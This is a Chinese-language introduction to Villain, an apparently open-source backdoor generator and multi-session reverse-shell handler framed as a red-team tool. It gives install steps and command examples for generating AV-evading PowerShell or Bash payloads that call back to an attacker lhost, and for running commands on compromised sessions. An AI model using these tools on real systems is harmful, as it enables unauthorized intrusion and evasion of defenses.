关于Villain 

Villain是一款针对Windows和Linux操作系统设计和开发的后门生成与多会话处理工具,该工具允许广大研究人员与兄弟服务器或其他运行了Villain的设备进行连接,并共享他们的后门会话,以方便广大研究人员和团队之间的协同工作。

Villain生成Payload所采用的机制基于HoaxShell实现,也可以说Villain在这方面是HoaxShell的一个升级版本。

 工具特性 


1、Villain包含了一个内置的针对Windows平台的Payload自动混淆功能,旨在帮助广大研究人员绕过AV解决方案;
2、该工具生成的每一个Payload只能使用一次,已使用过的Payload不能重新用于会话建立;
3、兄弟服务器之间的通信是AES加密的,使用接收方兄弟服务器的ID作为加密密钥,本地服务器的ID的16个第一字节作为IV。在两个兄弟服务器的初始连接握手期间,每个服务器的ID都是明文交换的,这意味着握手可以被捕获并用于解密兄弟服务器间的通信。我知道这样很“弱”,因为该工具设计用于渗透测试/红色团队评估期间,对此加密模式应该足够了;
4、相互连接的Villain实例(兄弟服务器)也必须能够直接到达彼此。我打算添加一个网络路由映射实用程序,以便兄弟服务器可以将彼此用作代理,以实现它们之间的跨网络通信;

 工具运行机制 

下图显示的是HTTP(S)反向Shell的运行机制:

 工具安装 

由于该工具基于Python 3开发,因此广大研究人员首先需要在本地设备上安装并配置好Python 3环境。接下来,使用下列命令将该项目源码克隆至本地:

git clone https://github.com/t3l3machus/Villain
(向右滑动、查看更多)

然后切换到项目目录下,并使用pip命令和项目提供的requirements.txt来安装该工具所需的其他依赖组件:

cd ./Villain
pip3 install -r requirements.txt

 工具使用 

生成后门Payload

我们可以使用generate命令来生成针对Windows或Linux设备的后门Payload:

generate os=<OS Type> lhost=<IP or INTERFACE> [ exec_outfile=<REMOTE PATH> domain=<DOMAIN>] [ obfuscate encode constraint_mode ]
(向右滑动、查看更多)

支持的后门Payload类型如下:

Windows:PowerShell
Linux:Bash

使用样例:

# For Windows:
Villain > generate os=windows lhost=eth0 obfuscate
Villain > generate os=windows lhost=192.168.12.36 exec_outfile="C:\Users\\\$env:USERNAME\.local\hack.ps1" encode# For Linux:
Villain > generate os=linux lhost=192.168.12.62
(向右滑动、查看更多)

连接兄弟服务器

我们可以使用connect命令连接运行了Villain的设备并共享后门会话:

connect <IP> <CORE SERVER PORT>

Shell命令

我们可以使用shell命令来针对一个会话开启交互式HoaxShell:

shell <SESSION ID or ALIAS>

exec命令

exec命令可以针对一个会话在文件系统中执行引用的命令或脚本:

exec </path/to/local/file> <SESSION ID or ALIAS>
exec 'net user;Get-Date' <SESSION ID or ALIAS>
(向右滑动、查看更多)

 工具运行截图 

 视频演示 

视频地址1https://www.youtube.com/watch?v=pTUggbSCqA0

视频地址2https://www.youtube.com/watch?v=NqZEmBsLCvQ

 许可证协议 

本项目的开发与发布遵循CC知识共享许可协议。

 项目地址 

Villainhttps://github.com/t3l3machus/Villain